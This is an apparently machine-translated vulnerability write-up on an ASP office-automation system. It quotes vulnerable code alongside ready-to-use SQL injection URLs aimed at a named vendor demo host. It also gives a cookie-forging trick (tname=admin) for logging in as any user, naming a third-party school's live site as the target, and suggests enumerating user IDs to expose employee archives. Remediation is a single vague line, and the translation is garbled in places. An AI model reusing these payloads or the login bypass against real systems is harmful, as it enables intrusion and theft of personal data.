Unauthorized access to an OA system, multiple SQL injections, and arbitrary user logon, including Administrator
Unauthorized access to an OA system, multiple SQL injections, and arbitrary User Login include recruitment in a large number of cases by administrators, recruitment in demo on the official website, and Multiple Vulnerabilities
Official demo address:
Http://demo.yfidea.com/
0x001 unauthorized access + SQL Injection
First, SQL Injection
File/OA/varset/modify. asp
<p> <%strId=request("id") tname=request("tname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where ID='"&strID& "'"rs.open sql,conn,1,1%></p>
Injection address:
Http://demo.yfidea.com/OA/varset/modify.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --
Second, SQL Injection
File/OA/varset/modifyqishu. asp
<p> <% strId=request("id") tname=request("tname") Set rs=Server.CreateObject("Adodb.Recordset") sql="select * from varset where ID='"&strID& "'" rs.open sql,conn,1,1 %>
Injection address:
Http://demo.yfidea.com/OA/varset/modifyqishu.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --
Third, SQL Injection
File/OA/varset/modifysubject. asp
<p> <%strId=request("id") tname=request("tname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where ID='"&strID& "'"rs.open sql,conn,1,1%>
Injection address:
Http://demo.yfidea.com/OA/varset/modifysubject.asp? Tname = bumenfile & id =-8892 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --
Fourth, five SQL injections
File/OA/varset/modifysys. asp
<P> <% var = request ("var") vargroup = request ("vargroup") set Rsvar = Conn. execute ("select * from varset where name = '" & var &"'") %> </p> <form id = "form3" name = "form3" method = "post" action =" savemodifysys. asp? Var = <% = var %> & vargroup = <% = vargroup %> "onSubmit =" return form_check (); "> <p> </p> <table width =" 442 "border =" 0 "align =" center "cellspacing =" 0 "bordercolorlight =" # 11b1ff "bordercolordark =" # f0f8ff "> <tr align =" middle "> <td width =" 64 "class =" STYLE1 "> </td> <td width =" 61 "height =" 41 "class =" STYLE1 "> <div align =" right "> parameters </div> </td> <td width =" 315 "align =" center "valign =" middle "class =" STYLE1 "> <div align =" left "> <select name =" vname "id =" vname "> <option> <% = Rsvar (" vname ") %> </option> <% Set RSsel = Conn. execute ("select * from varset where name = '" & vargroup & "'order by vid") While NOT RSsel. EOF %> <option value = "<% = RSsel (" vname ") %>"> <% = RSsel ("vname") %> </option> <% RSsel. moveNext Wend %> </select> <input name = "Submit" type = "submit" class = "topanniu" value = "Save changes"/> </div> </label> </td> <td width = "8"> </td> </tr> </table> <p> </p> <p align = "center"> note: <% = Rsvar ("shuoming") %> </p> <% RSsel. close Rsvar. close %> </form>
Http://demo.yfidea.com/OA/varset/modifysys.asp? Var =-123 'Union all select 456, 3, db_name (), 7 -- & vargroup =
Http://demo.yfidea.com/OA/varset/modifysys.asp? Var = 1 & vargroup =-456 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --
Sixth, SQL Injection
File/OA/varset/modifytime. asp
<p> <%strId=request("id") varname=request("varname")Set rs=Server.CreateObject("Adodb.Recordset")sql="select * from varset where ID='"&strID& "'"rs.open sql,conn,1,1%></p>
Http://demo.yfidea.com/OA/varset/modifytime.asp? Tname = bumenfile & id =-202 'Union all select 1, 2, 3, db_name (), 5, 6, 7 --
Seventh, SQL Injection
File/OA/keyan/newfile. asp
<!--#include file="../SQLconn.asp"--><% dim strIDstrId=request("id")dim fjsqldim fjrsdim strfilenamefjsql="select * from wendangfile where fid='"&strId& "'"Set fjrs= Server.CreateObject("ADODB.Recordset")fjrs.open fjsql,conn,1,1Response.ContentType = fjrs("fileContentType")'Response.AddHeader "Content-Disposition","attachment; filename="&fjrs("filename")Response.AddHeader "Content-Disposition","inline; filename="&fjrs("filename")Response.BinaryWrite fjrs("filevalue").getChunk(21212121) fjrs.closeset fjrs=nothing set conn=nothing %>
Http://demo.yfidea.com/OA/keyan/newfile.asp? Id = 7' and 'A' = 'a -- download an object
Http://demo.yfidea.com/OA/keyan/newfile.asp? Id = 7' and 'A' = 'B -- the object cannot be downloaded.
Eighth, SQL injection + unauthorized access + Information Leakage
File/OA/renshigongzi/modifyDangAn. asp
<% id=request("id") Set Rslist=Server.CreateObject("Adodb.Recordset") sqllist="select * from Employee where id='"&ID& "'" Rslist.open sqllist,conn,1,1 %>
Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1
Attackers can access all users' archive information by traversing the id. Sensitive Information is detailed.
Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1' and 'A' = 'a
Display normal
Http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp? Id = 1 'and 'A' =' B
Display error, no echo
0x002 arbitrary User Login
File/login. asp
<% Strip = Request. serverVariables ("REMOTE_ADDR") Set MyOAASPObj = Server. createObject ("YFSchoolOApro. YFSchoolDll ") str = myaaspobj. OA_Login (strip) set MyOAASPObj = nothing dim str1 str1 = split (str, "|",-1, 1) response. cookies ("Tname") = str1 (0) response. cookies ("imgdir") = str1 (1) response. cookies ("nowxueqi") = str1 (2) response. cookies ("filelength") = 10' this 1 indicates that the length of the uploaded file cannot exceed 1 MB. if str1 (3) = "888" then response. redirect ("OA/user/password. asp ") else response. redirect ("OA/Index. asp ") end if %>
Although the login authentication has passed the core dll file, the source code cannot be seen in the dll file encryption, but we can see that the big data is processed through cookies, and there must be a problem ..
Let's take a look at/oa/checklogin. asp.
<% 'Logon control to prevent logon attempts to view if request. cookies ("tname") = "" then response. redirect ("../Index. asp") end if %>
It only checks whether cookies ("tname") exist to authenticate the user's access permissions.
Therefore, after testing, we can add tname = user name in the Cookie to log on to this user account.
Case http://oa.bh5z.net as an Example
Add cookie:
Tname = admin;
You can log on to the admin user.
You can also add a cookie:
Imgdir = 004 hong;
This is the skin.
As for the user name, we can get from here:
Http://oa.bh5z.net/oa/user/modifyuser.asp? ID = 1824
Traverse the id here to get all users and log on to any users.
Solution:
Primary control permissions, filtering